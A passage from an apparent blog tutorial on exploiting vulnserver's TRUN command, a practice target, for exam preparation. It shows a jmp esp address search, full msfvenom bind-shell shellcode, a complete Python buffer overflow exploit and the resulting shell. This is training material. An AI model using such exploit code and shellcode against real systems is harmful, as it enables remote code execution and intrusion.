    - Number of pointers of type 'jmp esp' : 9 
[+] Results : 
0x625011af |   0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011bb |   0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011c7 |   0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011d3 |   0x625011d3 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011df |   0x625011df : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011eb |   0x625011eb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011f7 |   0x625011f7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501203 |   0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501205 |   0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
    Found a total of 9 pointers

Now that we have some addresses, let’s update our PoC.

10-------------8<-------------
11payload += b"A" * OFFSET
12payload += struct.pack("<I", 0x62501205)  # EIP
13payload += b"C" * (CRASH_LEN - len(payload))
14-------------8<-------------

With that done, we can restart vulnserver and use windbg’s bp command to set a breakpoint on our jmp esp. This will confirm that everything is working properly up to this point.

bp 0x62501205

With the breakpoint set and vulnserver running, we can rethrow the exploit. When we do, windbg stops at our jmp esp instruction.

trun-jmp-esp

Pressing F10 (step over) once will take us into our C’s, just as expected.

trun-in-cs

msfvenom

We’re in the final stretch now. All that’s left is to add our payload. We’ll instruct msfvenom to omit null-bytes when creating our payload.

msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
═══════════════════════════════════════════════════════════════════════════════════════════════

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of python file: 1998 bytes
shellcode =  b""
shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
shellcode += b"\xef\x33\xf1"

After that, we’ll add it to our PoC along with a little nop-sled to keep things smooth.

49-------------8<-------------
50payload += struct.pack("<I", 0x62501205)  # EIP
51payload += b"\x90" * 30
52payload += shellcode
53payload += b"C" * (CRASH_LEN - len(payload))
54-------------8<-------------

Getting a Shell

With our final PoC ready, we can send it and see if it opens a listener for us. Our final exploit code is shown below.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"TRUN /.:/ "
 5CRASH_LEN = 5011
 6OFFSET = 2002
 7
 8target = ("127.0.0.1", 9999)  # vulnserver
 9
10# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
11# Payload size: 355 bytes
12shellcode =  b""
13shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
14shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
15shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
16shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
17shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
18shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
19shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
20shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
21shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
22shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
23shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
24shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
25shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
26shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
27shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
28shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
29shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
30shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
31shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
32shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
33shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
34shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
35shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
36shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
37shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
38shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
39shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
40shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
41shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
42shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
43shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
44shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
45shellcode += b"\xef\x33\xf1"
46
47
48payload = VULNSRVR_CMD
49payload += b"A" * OFFSET
50payload += struct.pack("<I", 0x62501205)  # EIP
51payload += b"\x90" * 30
52payload += shellcode
53payload += b"C" * (CRASH_LEN - len(payload))
54
55with socket.create_connection(target) as sock:
56    sock.recv(512)  # Welcome to Vulnerable Server! ... 
57
58    sent = sock.send(payload)
59    print(f"sent {sent} bytes")

After sending the exploit, we can use netcat to connect in to the new listener on port 12345.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

Hopefully you found something of use in this post. I’m off to fuzz more vulnserver commands for the next post!

Additional Resources

  1. OSCE-exam-practice
  2. mona.py - the manual

comments powered by Disqus